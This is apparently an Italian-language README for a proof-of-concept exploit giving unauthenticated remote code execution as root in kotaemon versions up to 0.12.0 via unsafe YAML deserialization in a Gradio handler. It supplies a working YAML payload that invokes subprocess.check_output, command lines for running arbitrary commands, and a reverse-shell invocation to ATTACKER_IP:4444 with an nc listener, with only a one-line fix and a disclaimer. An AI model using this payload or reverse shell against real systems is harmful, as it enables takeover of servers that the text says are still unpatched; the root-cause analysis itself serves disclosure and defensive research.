
Exploit di esecuzione remota di codice senza autenticazione che sfrutta la deserializzazione YAML non sicura nei controlli di connessione LLM; supporta l'esecuzione arbitraria di comandi e reverse shell tramite API Gradio esposta.
Esecuzione remota di codice non autenticata in kotaemon (<= 0.12.0) tramite deserializzazione non sicura nel controllo di connessione delle impostazioni LLM.
Il gestore Gradio check_connection delle impostazioni LLM di kotaemon (libs/ktem/ktem/llms/ui.py) analizza una spec YAML fornita dall'attaccante e la deserializza in modo non sicuro:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) risolve la chiave __type__ di una spec tramite import_dotted_string senza allowlist, quindi la istanzia con kwargs controllati dall'attaccante:
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
Quindi una spec il cui __type__ è subprocess.check_output esegue un comando di sistema durante la deserializzazione (CWE-502).
Due elementi la rendono una RCE non autenticata pulita:
auth=. Il "login" si limita ad alternare la visibilità delle schede dell'interfaccia; ogni gestore di eventi registrato è pubblicamente chiamabile. KH_FEATURE_USER_MANAGEMENT non protegge l'API HTTP/queue.info["spec"].update(<attacker yaml>) sovrascrive completamente la spec LLM, quindi il payload non contatta mai un vero provider LLM.L'immagine Docker ufficiale di kotaemon viene eseguita come root, quindi la RCE viene eseguita come root. Nessuna correzione upstream al momento della scrittura.
La spec YAML inviata:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize entra prima in ricorsione su return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) esegue il comando. Avvolgerlo in unittest.mock.Mock assorbe eventuali kwargs rimanenti della spec di base (model/api_key), così la chiamata esterna non si interrompe mai, e lo stdout del comando viene restituito nel messaggio Got response: ... del gestore.
Solo libreria standard (Python 3). L'exploit effettua due chiamate Gradio: create_llm (crea una voce LLM con nome così che llms.info()[name] risolva) e poi check_connection (consegna il payload).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Se i nomi dei gestori create_llm / check_connection differiscono su un target, elencali da GET /config (dependencies[].api_name) e adattali.
kotaemon <= 0.12.0 (porta predefinita 7860). Nessuna patch upstream disponibile al momento della scrittura.
deserialize con safe=True e una allowlist allowed_modules così nessun __type__ dell'attaccante raggiunge import_dotted_string.Solo per test di sicurezza autorizzati e a scopo educativo. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si ha esplicita autorizzazione al test.